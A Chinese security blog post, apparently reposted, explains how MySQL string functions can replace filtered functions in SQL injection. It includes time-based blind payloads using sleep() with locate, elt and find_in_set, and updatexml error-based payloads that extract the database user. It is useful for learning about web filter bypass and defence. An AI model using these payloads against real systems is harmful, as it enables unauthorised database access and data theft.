由MySQL字符串函数考虑到的绕过利用

admin 2022年1月28日21:01:10由MySQL字符串函数考虑到的绕过利用已关闭评论76 views字数 2945阅读9分49秒阅读模式

来自WgpSec Team 成员 f1hgb投稿

背景

本次文章是在对一次时间盲注时if等函数被ban的时候,通过查找以先函数来进行代替利用

先对用到的函数简单介绍

  1. ascii():返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
  2. ord():返回字符的ascii码
  3. conv(N,from_base,to_base):N是要转换的数据,from_base是原进制,to_base是目标进制。

```
mysql> select CONV("a",16,2);

-> '1010'
```

  1. bin():返回数字的二进制表示形式,作为字符串值(注意:必须是数字)
  2. oct():函数返回数字N的八进制数的字符串表示,这相当于使用CONV(N,10,8)。(还是只能是数字)
  3. hex():返回十六进制值N一个字符串的表示,这等价于CONV(N,10,16)。
  4. char():将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。

```
mysql> select CHAR(77,121,83,81,'76');
-> 'MySQL'

mysql> select CHAR(77,77.3,'77.3');
-> 'MMM'
```

  1. concat()/concat_ws()/group_concat():返回来自于参数连结的字符串
  2. length/octet_length/char_length/character_length:长度返回
  3. locate/position/instr:都是判断位置的,instr可以和limit连用来达到前面两个的效果

```
mysql> select locate('f1','f1fhgb');
-> 1

mysql> select locate('f0','f1fhgb');
-> 0

mysql> select locate('fh','f1fhgb');
-> 3

mysql> select position('bc'in'abc');
-> 2

mysql> select instr('aabca','abc');
-> 2

mysql> select instr('abca','abc');
-> 1
```

  1. lpad/rpad():一个在最开始填充,一个在末尾填充:

mysql> select lpad('hi',9,'ab');
-> abababahi

  1. left/right():返回字符串str的最左/右面len个字符。

```
mysql> select left('abcdef',5);
-> abcde

mysql> select right('abcdef',5);
-> bcdef
```

  1. substring\substring_index

```
mysql> select substring('12345' from 2 for 1);
-> 2

mysql> select substring('12345',2,1);
-> 2

mysql> select substring_index('tll','t',1);
->

mysql> select substring_index('tll','l',1);
-> t
```

  1. elt(N,str1,str2,str3,...):如果N= 1,返回str1。如果N=2,返回str2,等等。如果N小于1或大于参数个数,返回NULL。ELT()是FIELD()反运算。
  2. find_in_set(str,strlist):如果字符串str在由N子串组成的表strlist之中,返回一个1到N的值。一个字符串表是被","分隔的子串组成的一个字符串。
  3. make_set(bits,str1,str2,...):返回一个集合(包含由","字符分隔的子串组成的一个字符串),由相应的位在bits集合中的的字符串组成。str1对应于位0,str2对应位1,等等。

对代替函数利用的考虑

  1. asciiord互用
  2. char()可以在宽字节注入的时候禁了0的时候用这个
  3. locatepositioninstr可以用来盲注,大概构造select * from tll where id=11 union select 1,2,3,locate('a',(select database()));或者时间盲注感觉有点可能或者不用if直接时间盲注:

    由MySQL字符串函数考虑到的绕过利用

  4. 大致语法select * from tll where id=1 and (locate('tll',(select database()))=1) and sleep(5);到时候往里面加substr这些截断就可以真正的时间盲注
  5. leftright可以用来在过滤substr这些的时候用substrsubstringsubstring_index都可以用来截断,这里提一下substring_index搭配用法if(substring_index((select database()),'t',1)='',sleep(5),1)只要慢慢的累加就行

    由MySQL字符串函数考虑到的绕过利用

  6. 我们都知道要是用updatexml的时候必须至少含有一个特殊字符,否则会漏掉一些数据而当concat被拦截的时候,就会导致没法拼接特殊字符,所以这里可以利用make_setlpadrepeatreverseexport_setinsert这些函数的用法就不一一列举,有兴趣的可以去看看

```
mysql> select * from tll where id=11 or updatexml(1,insert(0x7e,2,1,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

mysql> select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'

mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'

mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'

mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
```

  1. 我们都知道如果在想要时间盲注的时候,要是if过滤了就差不多凉凉了,但是这里我们可以使用elt来代替if进行绕过

    由MySQL字符串函数考虑到的绕过利用
    或者使用make_set来代替if进行时间盲注:`

    由MySQL字符串函数考虑到的绕过利用

  2. find_in_set`在完全过滤了等于号时来进行时间盲注:

    由MySQL字符串函数考虑到的绕过利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月28日21:01:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   由MySQL字符串函数考虑到的绕过利用http://cn-sec.com/archives/752212.html